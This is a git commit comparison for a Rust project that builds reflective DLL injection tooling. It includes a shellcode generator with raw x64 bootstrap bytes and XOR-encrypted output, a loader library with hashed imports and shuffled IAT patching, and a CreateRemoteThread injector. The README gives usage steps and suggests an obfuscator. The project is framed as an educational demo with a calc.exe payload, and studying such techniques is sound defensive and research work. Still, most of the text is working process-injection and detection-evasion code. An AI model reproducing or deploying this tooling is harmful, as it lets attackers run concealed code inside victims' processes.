Compare commits

..

10 Commits

Author SHA1 Message Date
17ms
4a6aff2a34 update name change to docs 2024-02-21 16:30:16 +02:00
17ms
7a40f17a57 rename cryptoutils lib 2024-02-21 16:29:18 +02:00
17ms
030bf89a92 replace hardcoded parameters with u32 bitflag 2024-02-16 23:18:59 +02:00
17ms
2a16a674b3 remove clippy warnings & ensure panic after faulty stage 2024-02-16 00:43:33 +02:00
17ms
5fc8e8a005 more error propagation 2024-02-16 00:12:11 +02:00
17ms
bad17f630f improved error propagation & cleaned bootstrap layout 2024-02-13 23:33:38 +02:00
17ms
2508c1826a removed possibly conflicting short option name 2024-02-13 22:17:07 +02:00
17ms
7df93acd46 note about payload parameters 2024-02-13 21:32:48 +02:00
17ms
9fd511cb62 updated the names of the workspace subprojects 2024-02-13 21:30:05 +02:00
17ms
10cbe12a39 updated docs with example scenarios 2024-02-13 21:02:51 +02:00
16 changed files with 410 additions and 312 deletions

BIN
.github/docs/dllmain-exec.png vendored Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 213 KiB

BIN
.github/docs/userfunction-exec.png vendored Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 214 KiB

70
Cargo.lock generated
View File

@ -3,41 +3,7 @@
version = 3 version = 3
[[package]] [[package]]
name = "airborne-generator" name = "airborne-common"
version = "0.1.0"
dependencies = [
"airborne-utils",
"clap",
"rand",
"windows-sys",
]
[[package]]
name = "airborne-injector"
version = "0.1.0"
dependencies = [
"airborne-utils",
"lexopt",
"windows-sys",
]
[[package]]
name = "airborne-payload"
version = "0.1.0"
dependencies = [
"windows-sys",
]
[[package]]
name = "airborne-reflective_loader"
version = "0.1.0"
dependencies = [
"airborne-utils",
"windows-sys",
]
[[package]]
name = "airborne-utils"
version = "0.1.0" version = "0.1.0"
[[package]] [[package]]
@ -140,6 +106,16 @@ version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
[[package]]
name = "generator"
version = "0.1.0"
dependencies = [
"airborne-common",
"clap",
"rand",
"windows-sys",
]
[[package]] [[package]]
name = "getrandom" name = "getrandom"
version = "0.2.12" version = "0.2.12"
@ -169,6 +145,22 @@ version = "0.2.152"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7"
[[package]]
name = "poc-injector"
version = "0.1.0"
dependencies = [
"airborne-common",
"lexopt",
"windows-sys",
]
[[package]]
name = "poc-payload"
version = "0.1.0"
dependencies = [
"windows-sys",
]
[[package]] [[package]]
name = "ppv-lite86" name = "ppv-lite86"
version = "0.2.17" version = "0.2.17"
@ -223,6 +215,14 @@ dependencies = [
"getrandom", "getrandom",
] ]
[[package]]
name = "reflective-loader"
version = "0.1.0"
dependencies = [
"airborne-common",
"windows-sys",
]
[[package]] [[package]]
name = "strsim" name = "strsim"
version = "0.10.0" version = "0.10.0"

View File

@ -6,7 +6,7 @@ members = [
"payload", "payload",
"generator", "generator",
"reflective_loader", "reflective_loader",
"utils" "common"
] ]
[profile.release] [profile.release]

View File

@ -9,30 +9,55 @@ Reflective DLL injection demo for fun and education. In practical applications,
```shell ```shell
. .
├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data) ├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data)
├── injector # PoC injector ├── injector # PoC injector (CreateRemoteThread)
├── payload # PoC payload (DllMain and PrintMessage) ├── payload # PoC payload (calc.exe or MessageBoxW based on generator's flag)
└── reflective_loader # sRDI implementation ├── reflective_loader # sRDI implementation
└── common # Common XOR and hashing functions
``` ```
### Features ### Features
- Compact filesize (~14 kB) - ~14 kB reflective loader
- Hashed import names & indirect function calls - Hashed import names & indirect function calls
- Randomized payload export iteration & IAT patching - XOR encrypted payload shellcode
- XOR encryption for shellcode (shellcode generation specific keys) - Shuffled and delayed IDT iteration (during IAT patching)
Check out [Alcatraz](https://github.com/weak1337/Alcatraz/) for additional obfuscation for the shellcode/injector.
### Usage ### Usage
The following command compiles the DLLs and executables into `target`: The following command compiles the DLLs and executables into `target/release/`:
```shell ```shell
$ cargo build --release $ cargo build --release
``` ```
1. Generate shellcode containing the loader and the payload 1. Generate shellcode containing the loader and the payload:
2. Inject the created shellcode into target
```
Usage: generator.exe [OPTIONS] --loader <LOADER_PATH> --payload <PAYLOAD_PATH> --function <FUNCTION_NAME> --parameter <PARAMETER> --output <OUTPUT_PATH>
Options:
-l, --loader <LOADER_PATH> Path to the sRDI loader DLL
-p, --payload <PAYLOAD_PATH> Path to the payload DLL
-f, --function <FUNCTION_NAME> Name of the function to call in the payload DLL
-n, --parameter <PARAMETER> Parameter to pass to the function
-o, --output <OUTPUT_PATH> Path to the output file
--flag <FLAG> Flag to pass to the loader (by default DllMain is called) [default: 0]
-h, --help Print help
-V, --version Print version
```
2. Inject the created shellcode into target:
```
Usage: poc-injector.exe -p <PROCESS_NAME> -s <SHELLCODE_PATH> -k <KEYFILE_PATH>
```
3. Depending on the flag passed to the generator, either `DllMain` with `DLL_PROCESS_ATTACH` or user function with custom parameter is called:
<div align="center">
<img src=".github/docs/dllmain-exec.png" alt="Payload's DllMain execution with the default flag (0)" width="90%">
<img src=".github/docs/userfunction-exec.png" alt="Payload's user defined function execution with the modified flag (1)" width="90%">
</div>
### Disclaimer ### Disclaimer

View File

@ -1,5 +1,5 @@
[package] [package]
name = "airborne-utils" name = "airborne-common"
version = "0.1.0" version = "0.1.0"
edition = "2021" edition = "2021"

View File

@ -2,8 +2,44 @@
// gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator // gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator
const DELAY_FLAG: u32 = 0b0001;
const SHUFFLE_FLAG: u32 = 0b0010;
const UFN_FLAG: u32 = 0b0100;
const HASH_KEY: usize = 5381; const HASH_KEY: usize = 5381;
pub struct Flags {
pub delay: bool,
pub shuffle: bool,
pub ufn: bool,
}
pub fn parse_u32_flag(flag: u32) -> Flags {
Flags {
delay: flag & DELAY_FLAG != 0,
shuffle: flag & SHUFFLE_FLAG != 0,
ufn: flag & UFN_FLAG != 0,
}
}
pub fn create_u32_flag(delay: bool, shuffle: bool, ufn: bool) -> u32 {
let mut flags = 0;
if delay {
flags |= DELAY_FLAG;
}
if shuffle {
flags |= SHUFFLE_FLAG;
}
if ufn {
flags |= UFN_FLAG;
}
flags
}
pub fn xor_cipher(data: &mut [u8], key: &[u8]) { pub fn xor_cipher(data: &mut [u8], key: &[u8]) {
for (i, byte) in data.iter_mut().enumerate() { for (i, byte) in data.iter_mut().enumerate() {
*byte ^= key[i % key.len()]; *byte ^= key[i % key.len()];

View File

@ -1,12 +1,12 @@
[package] [package]
name = "airborne-generator" name = "generator"
version = "0.1.0" version = "0.1.0"
edition = "2021" edition = "2021"
[dependencies] [dependencies]
clap = { version = "4.4.18", features = ["derive"] } clap = { version = "4.4.18", features = ["derive"] }
rand = "0.8.5" rand = "0.8.5"
airborne-utils = { path = "../utils" } airborne-common = { path = "../common" }
[dependencies.windows-sys] [dependencies.windows-sys]
version = "0.52.0" version = "0.52.0"

View File

@ -1,7 +1,10 @@
use std::{collections::BTreeMap, ffi::CStr, fs, path::PathBuf, slice::from_raw_parts}; use std::{
collections::BTreeMap, error::Error, ffi::CStr, fs, path::PathBuf, process::exit,
slice::from_raw_parts,
};
use airborne_utils::calc_hash; use airborne_common::calc_hash;
use clap::Parser; use clap::{ArgAction, Parser};
use windows_sys::Win32::{ use windows_sys::Win32::{
System::Diagnostics::Debug::IMAGE_NT_HEADERS64, System::Diagnostics::Debug::IMAGE_NT_HEADERS64,
System::{ System::{
@ -28,9 +31,15 @@ struct Args {
/// Path to the output file /// Path to the output file
#[arg(short, long = "output")] #[arg(short, long = "output")]
output_path: PathBuf, output_path: PathBuf,
/// Flag to pass to the loader (by default DllMain is called) /// Disable randomized delays during IAT patching
#[arg(short, long, default_value_t = 0)] #[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)]
flag: u32, // preferably set type as u32 here instead of casting it when generating bootstrap no_delay: bool,
/// Disable IAT import descriptor shuffling
#[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)]
no_shuffle: bool,
/// Call payload's user defined function instead of DllMain
#[arg(short, long, action = ArgAction::SetTrue, default_value_t = false)]
ufn: bool,
} }
// NOTE: must be updated accordingly if the loader name or the bootstrap code is modified // NOTE: must be updated accordingly if the loader name or the bootstrap code is modified
@ -40,9 +49,13 @@ const BOOTSTRAP_TOTAL_LENGTH: u32 = 79;
fn main() { fn main() {
let args = Args::parse(); let args = Args::parse();
// (bool, bool, bool) -(OR)-> u32
let combined_flag = airborne_common::create_u32_flag(args.no_delay, args.no_shuffle, args.ufn);
// preserve the path from being dropped // preserve the path from being dropped
let output_path = args.output_path.clone(); let output_path = args.output_path.clone();
// prepare paths for pretty printing
let loader_path_str = args.loader_path.to_str().unwrap(); let loader_path_str = args.loader_path.to_str().unwrap();
let payload_path_str = args.payload_path.to_str().unwrap(); let payload_path_str = args.payload_path.to_str().unwrap();
let output_path_str = args.output_path.to_str().unwrap(); let output_path_str = args.output_path.to_str().unwrap();
@ -51,29 +64,66 @@ fn main() {
println!("[+] payload: {}", payload_path_str); println!("[+] payload: {}", payload_path_str);
println!("[+] output: {}", output_path_str); println!("[+] output: {}", output_path_str);
let mut loader_b = fs::read(args.loader_path).expect("failed to read sRDI DLL"); let mut loader_b = match fs::read(args.loader_path) {
let mut payload_b = fs::read(args.payload_path).expect("failed to read payload DLL"); Ok(b) => b,
Err(e) => {
eprintln!("[-] failed to read loader DLL: {}", e);
exit(1);
}
};
let mut payload_b = match fs::read(args.payload_path) {
Ok(b) => b,
Err(e) => {
eprintln!("[-] failed to read payload DLL: {}", e);
exit(1);
}
};
let function_hash = calc_hash(args.function_name.as_bytes()); let function_hash = calc_hash(args.function_name.as_bytes());
let mut shellcode = gen_sc( let mut shellcode = match gen_sc(
&mut loader_b, &mut loader_b,
&mut payload_b, &mut payload_b,
function_hash, function_hash,
args.parameter, args.parameter,
args.flag, combined_flag,
); ) {
Ok(sc) => sc,
Err(e) => {
eprintln!("[-] failed to generate shellcode: {}", e);
exit(1);
}
};
println!("\n[+] xor'ing shellcode"); println!("\n[+] xor'ing shellcode");
let key = gen_xor_key(shellcode.len()); let key = gen_xor_key(shellcode.len());
airborne_utils::xor_cipher(&mut shellcode, &key); airborne_common::xor_cipher(&mut shellcode, &key);
let mut key_output_path = output_path.clone().into_os_string(); let mut key_output_path = output_path.clone().into_os_string();
key_output_path.push(".key"); key_output_path.push(".key");
// prepare path for pretty printing
let key_output_path_str = key_output_path.to_str().unwrap(); let key_output_path_str = key_output_path.to_str().unwrap();
println!("\n[+] writing shellcode to '{}'", output_path_str); println!(
fs::write(output_path, shellcode).expect("failed to write shellcode to output file"); "\n[+] writing shellcode to '{}' and xor key to '{}'",
println!("[+] writing xor key to '{}'", key_output_path_str); output_path_str, key_output_path_str
fs::write(key_output_path, key).expect("failed to write xor key to output file"); );
match fs::write(output_path, shellcode) {
Ok(_) => (),
Err(e) => {
eprintln!("[-] failed to write shellcode to output file: {}", e);
exit(1);
}
};
match fs::write(key_output_path, key) {
Ok(_) => (),
Err(e) => {
eprintln!("[-] failed to write xor key to output file: {}", e);
exit(1);
}
};
} }
fn gen_sc( fn gen_sc(
@ -82,159 +132,117 @@ fn gen_sc(
function_hash: u32, function_hash: u32,
parameter: String, parameter: String,
flag: u32, flag: u32,
) -> Vec<u8> { ) -> Result<Vec<u8>, Box<dyn Error>> {
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME) let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)?;
.expect("failed to get loader entry point");
let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize; let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize;
println!("[+] loader offset: {:#x}", loader_offset); println!("[+] loader offset: {:#x}", loader_offset);
// 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode // 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode
// TODO: clean up & fix 'call to push immediately after creation' compiler warning by
// calculating little-endian representations of variables (flag, parameter length & offset,
// function hash, payload offset, loader address) beforehand
let mut bootstrap: Vec<u8> = Vec::new();
/*
1.) save the current location in memory for calculating offsets later
*/
// call 0x00 (this will push the address of the next function to the stack)
bootstrap.push(0xe8);
bootstrap.push(0x00);
bootstrap.push(0x00);
bootstrap.push(0x00);
bootstrap.push(0x00);
// pop rcx - this will pop the value we saved on the stack into rcx to capture our current location in memory
bootstrap.push(0x59);
// mov r8, rcx - copy the value of rcx into r8 before we start modifying RCX
bootstrap.push(0x49);
bootstrap.push(0x89);
bootstrap.push(0xc8);
/*
2.) align the stack and create shadow space
*/
// push rsi - save original value
bootstrap.push(0x56);
// mov rsi, rsp - store our current stack pointer for later
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0xe6);
// and rsp, 0x0FFFFFFFFFFFFFFF0 - align the stack to 16 bytes
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0xe4);
bootstrap.push(0xf0);
// sub rsp, 0x30 (48 bytes) - create shadow space on the stack, which is required for x64. A minimum of 32 bytes for rcx, rdx, r8, r9. Then other params on stack
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0xec);
bootstrap.push(6 * 8); // 6 args that are 8 bytes each
/*
3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
*/
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) - (32 bytes) Push in arg 5
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0x4C);
bootstrap.push(0x24);
bootstrap.push(4 * 8); // 5th arg
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) - modify the 5th arg to get the real shellcode base
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0x6C);
bootstrap.push(0x24);
bootstrap.push(4 * 8); // 5th arg
bootstrap.push(5); // minus 5 bytes because call 0x00 is 5 bytes to get the allocate memory from VirtualAllocEx from injector
// mov dword ptr [rsp + 0x28], <flag> - (40 bytes) Push arg 6 just above shadow space
bootstrap.push(0xC7);
bootstrap.push(0x44);
bootstrap.push(0x24);
bootstrap.push(5 * 8); // 6th arg
bootstrap.append(&mut flag.to_le_bytes().to_vec().clone());
/*
4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
*/
// mov r9, <parameter_length> - copy the 4th parameter, which is the length of the user data into r9
bootstrap.push(0x41);
bootstrap.push(0xb9);
let parameter_length = parameter.len() as u32; // This must u32 or it breaks assembly
bootstrap.append(&mut parameter_length.to_le_bytes().to_vec().clone());
// add r8, <parameter_offset> + <payload_length> - copy the 3rd parameter, which is address of the user function into r8 after calculation
bootstrap.push(0x49);
bootstrap.push(0x81);
bootstrap.push(0xc0); // minus 5 because of the call 0x00 instruction
let parameter_offset = let parameter_offset =
(BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32 + payload_b.len() as u32; BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32 + payload_b.len() as u32;
bootstrap.append(&mut parameter_offset.to_le_bytes().to_vec().clone()); let payload_offset = BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32;
// mov edx, <prameter_hash> - copy the 2nd parameter, which is the hash of the user function into edx // 1.) save the current location in memory for calculating offsets later
bootstrap.push(0xba); let b1: Vec<u8> = vec![
bootstrap.append(&mut function_hash.to_le_bytes().to_vec().clone()); 0xe8, 0x00, 0x00, 0x00, 0x00, // call 0x00
0x59, // pop rcx
0x49, 0x89, 0xc8, // mov r8, rcx
];
// add rcx, <payload_offset> - copy the 1st parameter, which is the address of the user dll into rcx after calculation // 2.) align the stack and create shadow space
bootstrap.push(0x48); let b2: Vec<u8> = vec![
bootstrap.push(0x81); 0x56, // push rsi
bootstrap.push(0xc1); // minus 5 because of the call 0x00 instruction 0x48,
let payload_offset = (BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32; // mut be u32 or it breaks assembly 0x89,
bootstrap.append(&mut payload_offset.to_le_bytes().to_vec().clone()); 0xe6, // mov rsi, rsp
0x48,
0x83,
0xe4,
0xf0, // and rsp, 0x0FFFFFFFFFFFFFFF0
0x48,
0x83,
0xec,
6 * 8, // sub rsp, 0x30
];
/* // 3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack
5.) call the reflective loader let b3: Vec<u8> = vec![
*/ 0x48,
0x89,
0x4C,
0x24,
4 * 8, // mov qword ptr [rsp + 0x20], rcx
0x48,
0x83,
0x6C,
0x24,
4 * 8,
5, // sub qword ptr [rsp + 0x20], 0x5
0xC7,
0x44,
0x24,
5 * 8, // mov dword ptr [rsp + 0x28], <flag>
]
.into_iter()
.chain(flag.to_le_bytes().to_vec())
.collect();
// call <loader_offset> - call the reflective loader address after calculation // 4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
bootstrap.push(0xe8); let b4: Vec<u8> = vec![0x41, 0xb9]
let loader_address = .into_iter()
(BOOTSTRAP_TOTAL_LENGTH - bootstrap.len() as u32 - 4) + loader_offset as u32; // must be u32 or it breaks assembly .chain((parameter.len() as u32).to_le_bytes().to_vec())
bootstrap.append(&mut loader_address.to_le_bytes().to_vec().clone()); .chain(vec![
0x49, 0x81, 0xc0, // add r8, <parameter_offset> + <payload_length>
])
.chain(parameter_offset.to_le_bytes().to_vec())
.chain(vec![
0xba, // mov edx, <prameter_hash>
])
.chain(function_hash.to_le_bytes().to_vec())
.chain(vec![
0x48, 0x81, 0xc1, // add rcx, <payload_offset>
])
.chain(payload_offset.to_le_bytes().to_vec())
.collect();
// padding // 5.) call the reflective loader
bootstrap.push(0x90); let bootstrap_len = b1.len() + b2.len() + b3.len() + b4.len() + 1;
bootstrap.push(0x90); let loader_addr = (BOOTSTRAP_TOTAL_LENGTH - bootstrap_len as u32 - 4) + loader_offset as u32;
let b5: Vec<u8> = vec![
0xe8, // call <loader_offset>
]
.into_iter()
.chain(loader_addr.to_le_bytes().to_vec())
.chain(vec![
0x90, 0x90, // padding
])
.collect();
/* // 6.) restore the stack and return to the original location (caller)
6.) restore the stack and return to the original location (caller) let b6: Vec<u8> = vec![
*/ 0x48, 0x89, 0xf4, // mov rsp, rsi
0x5e, // pop rsi
0xc3, // ret
0x90, 0x90, // padding
];
// mov rsp, rsi - reset original stack pointer let mut bootstrap: Vec<u8> = b1
bootstrap.push(0x48); .into_iter()
bootstrap.push(0x89); .chain(b2)
bootstrap.push(0xf4); .chain(b3)
.chain(b4)
// pop rsi - put things back where they were left .chain(b5)
bootstrap.push(0x5e); .chain(b6)
.collect();
// ret - return to caller and resume execution flow (avoids crashing process)
bootstrap.push(0xc3);
// padding
bootstrap.push(0x90);
bootstrap.push(0x90);
if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize { if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize {
panic!("Bootstrap length is not correct, please modify the BOOTSTRAP_TOTAL_LEN constant in the source"); return Err("invalid bootstrap length".into());
} else {
println!("[+] bootstrap size: {}", bootstrap.len());
} }
println!("[+] reflective loader size: {}", loader_b.len()); println!("[+] bootstrap size: {} bytes", bootstrap.len());
println!("[+] payload size: {}", payload_b.len()); println!("[+] reflective loader size: {} kB", loader_b.len() / 1024);
println!("[+] payload size: {} kB", payload_b.len() / 1024);
let mut shellcode = Vec::new(); let mut shellcode = Vec::new();
@ -251,7 +259,7 @@ fn gen_sc(
- user data - user data
*/ */
println!("\n[+] total shellcode size: {}", shellcode.len()); println!("\n[+] total shellcode size: {} kB", shellcode.len() / 1024);
println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)"); println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)");
println!( println!(
"[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]" "[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]"
@ -265,7 +273,7 @@ fn gen_sc(
flag flag
); );
shellcode Ok(shellcode)
} }
fn gen_xor_key(keysize: usize) -> Vec<u8> { fn gen_xor_key(keysize: usize) -> Vec<u8> {
@ -278,61 +286,64 @@ fn gen_xor_key(keysize: usize) -> Vec<u8> {
key key
} }
fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Option<*mut u8> { fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Result<*mut u8, Box<dyn Error>> {
for (e_name, addr) in unsafe { get_exports(base_ptr) } { for (e_name, addr) in unsafe { get_exports(base_ptr)? } {
if e_name == name { if e_name == name {
return Some(addr as _); return Ok(addr as _);
} }
} }
None Err(format!("failed to find export by name: {}", name).into())
} }
unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> { unsafe fn get_exports(base_ptr: *mut u8) -> Result<BTreeMap<String, usize>, Box<dyn Error>> {
let mut exports = BTreeMap::new(); let mut exports = BTreeMap::new();
let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER; let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER;
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE { if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
panic!("Failed to get DOS header"); return Err("failed to get DOS header for the export".into());
} }
let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _); let nt_header_ptr = rva_mut::<IMAGE_NT_HEADERS64>(base_ptr, (*dos_header_ptr).e_lfanew as _);
let export_dir_ptr = rva_to_offset( let export_dir_ptr = rva_to_offset(
base_ptr as _, base_ptr as _,
&*nt_header_ptr, &*nt_header_ptr,
(*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] (*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
.VirtualAddress, .VirtualAddress,
) as *mut IMAGE_EXPORT_DIRECTORY; )? as *mut IMAGE_EXPORT_DIRECTORY;
let export_names = from_raw_parts( let export_names = from_raw_parts(
rva_to_offset( rva_to_offset(
base_ptr as _, base_ptr as _,
&*nt_header_ptr, &*nt_header_ptr,
(*export_dir_ptr).AddressOfNames, (*export_dir_ptr).AddressOfNames,
) as *const u32, )? as *const u32,
(*export_dir_ptr).NumberOfNames as _, (*export_dir_ptr).NumberOfNames as _,
); );
let export_functions = from_raw_parts( let export_functions = from_raw_parts(
rva_to_offset( rva_to_offset(
base_ptr as _, base_ptr as _,
&*nt_header_ptr, &*nt_header_ptr,
(*export_dir_ptr).AddressOfFunctions, (*export_dir_ptr).AddressOfFunctions,
) as *const u32, )? as *const u32,
(*export_dir_ptr).NumberOfFunctions as _, (*export_dir_ptr).NumberOfFunctions as _,
); );
let export_ordinals = from_raw_parts( let export_ordinals = from_raw_parts(
rva_to_offset( rva_to_offset(
base_ptr as _, base_ptr as _,
&*nt_header_ptr, &*nt_header_ptr,
(*export_dir_ptr).AddressOfNameOrdinals, (*export_dir_ptr).AddressOfNameOrdinals,
) as *const u16, )? as *const u16,
(*export_dir_ptr).NumberOfNames as _, (*export_dir_ptr).NumberOfNames as _,
); );
for i in 0..(*export_dir_ptr).NumberOfNames as usize { for i in 0..(*export_dir_ptr).NumberOfNames as usize {
let export_name = let export_name =
rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i]) as *const i8; rva_to_offset(base_ptr as _, &*nt_header_ptr, export_names[i])? as *const i8;
if let Ok(export_name) = CStr::from_ptr(export_name).to_str() { if let Ok(export_name) = CStr::from_ptr(export_name).to_str() {
let export_ordinal = export_ordinals[i] as usize; let export_ordinal = export_ordinals[i] as usize;
@ -342,19 +353,23 @@ unsafe fn get_exports(base_ptr: *mut u8) -> BTreeMap<String, usize> {
base_ptr as _, base_ptr as _,
&*nt_header_ptr, &*nt_header_ptr,
export_functions[export_ordinal], export_functions[export_ordinal],
), )?,
); );
} }
} }
exports Ok(exports)
} }
fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T { fn rva_mut<T>(base_ptr: *mut u8, rva: usize) -> *mut T {
(base_ptr as usize + rva) as *mut T (base_ptr as usize + rva) as *mut T
} }
unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva: u32) -> usize { unsafe fn rva_to_offset(
base: usize,
nt_header_ref: &IMAGE_NT_HEADERS64,
mut rva: u32,
) -> Result<usize, Box<dyn Error>> {
let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>( let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
&nt_header_ref.OptionalHeader as *const _ as _, &nt_header_ref.OptionalHeader as *const _ as _,
nt_header_ref.FileHeader.SizeOfOptionalHeader as _, nt_header_ref.FileHeader.SizeOfOptionalHeader as _,
@ -371,9 +386,9 @@ unsafe fn rva_to_offset(base: usize, nt_header_ref: &IMAGE_NT_HEADERS64, mut rva
rva -= (*section_header_ptr.add(i)).VirtualAddress; rva -= (*section_header_ptr.add(i)).VirtualAddress;
rva += (*section_header_ptr.add(i)).PointerToRawData; rva += (*section_header_ptr.add(i)).PointerToRawData;
return base + rva as usize; return Ok(base + rva as usize);
} }
} }
0 Err(format!("failed to find section for RVA {:#x}", rva).into())
} }

View File

@ -1,11 +1,11 @@
[package] [package]
name = "airborne-injector" name = "poc-injector"
version = "0.1.0" version = "0.1.0"
edition = "2021" edition = "2021"
[dependencies] [dependencies]
lexopt = "0.3.0" lexopt = "0.3.0"
airborne-utils = { path = "../utils" } airborne-common = { path = "../common" }
[dependencies.windows-sys] [dependencies.windows-sys]
version = "0.52.0" version = "0.52.0"

View File

@ -1,4 +1,4 @@
use std::{mem::transmute, ptr::null_mut}; use std::{error::Error, mem::transmute, ptr::null_mut};
use windows_sys::Win32::{ use windows_sys::Win32::{
Foundation::{CloseHandle, INVALID_HANDLE_VALUE}, Foundation::{CloseHandle, INVALID_HANDLE_VALUE},
@ -9,13 +9,13 @@ use windows_sys::Win32::{
}, },
}; };
pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) { pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) -> Result<(), Box<dyn Error>> {
let dll_len = dll_vec.len(); let dll_len = dll_vec.len();
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
if h_process == INVALID_HANDLE_VALUE { if h_process == INVALID_HANDLE_VALUE {
panic!("failed to open process"); return Err(format!("failed to open process {}", pid).into());
} }
let base_addr_ptr = VirtualAllocEx( let base_addr_ptr = VirtualAllocEx(
@ -27,7 +27,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
); );
if base_addr_ptr.is_null() { if base_addr_ptr.is_null() {
panic!("failed to allocate memory"); return Err(format!("failed to allocate memory into process {}", pid).into());
} }
println!("[+] allocated memory at {:p}", base_addr_ptr); println!("[+] allocated memory at {:p}", base_addr_ptr);
@ -40,7 +40,7 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
null_mut(), null_mut(),
) == 0 ) == 0
{ {
panic!("failed to write process memory"); return Err(format!("failed to write process memory into process {}", pid).into());
} }
let h_thread = CreateRemoteThread( let h_thread = CreateRemoteThread(
@ -54,9 +54,11 @@ pub unsafe fn inject(pid: u32, dll_vec: Vec<u8>) {
); );
if h_thread == INVALID_HANDLE_VALUE { if h_thread == INVALID_HANDLE_VALUE {
panic!("failed to create remote thread"); return Err(format!("failed to create remote thread into process {}", pid).into());
} }
CloseHandle(h_thread); CloseHandle(h_thread);
CloseHandle(h_process); CloseHandle(h_process);
Ok(())
} }

View File

@ -15,24 +15,51 @@ struct Args {
fn main() { fn main() {
let args = parse_args(); let args = parse_args();
let proc_id = let proc_id = unsafe {
unsafe { process::iterate_procs(&args.procname).expect("failed to find matching PID") }; match process::iterate_procs(&args.procname) {
Ok(Some(pid)) => pid,
Ok(None) => {
println!("[!] process with name {} not found", args.procname);
exit(1);
}
Err(e) => {
println!("[!] error during process iteration: {}", e);
exit(1);
}
}
};
let mut shellcode = fs::read(&args.shellcode_path).expect("failed to read shellcode"); let mut shellcode = match fs::read(&args.shellcode_path) {
Ok(shellcode) => shellcode,
Err(e) => {
println!("[!] failed to read shellcode: {}", e);
exit(1);
}
};
let keyfile = match fs::read(&args.keyfile_path) {
Ok(keyfile) => keyfile,
Err(e) => {
println!("[!] failed to read xor keyfile: {}", e);
exit(1);
}
};
if args.offset >= shellcode.len() { if args.offset >= shellcode.len() {
println!("[!] offset is greater or equal than shellcode length"); println!("[!] offset is greater or equal than shellcode length");
exit(1); exit(1);
} }
let keyfile = fs::read(&args.keyfile_path).expect("failed to read keyfile");
println!("[+] xor'ing shellcode"); println!("[+] xor'ing shellcode");
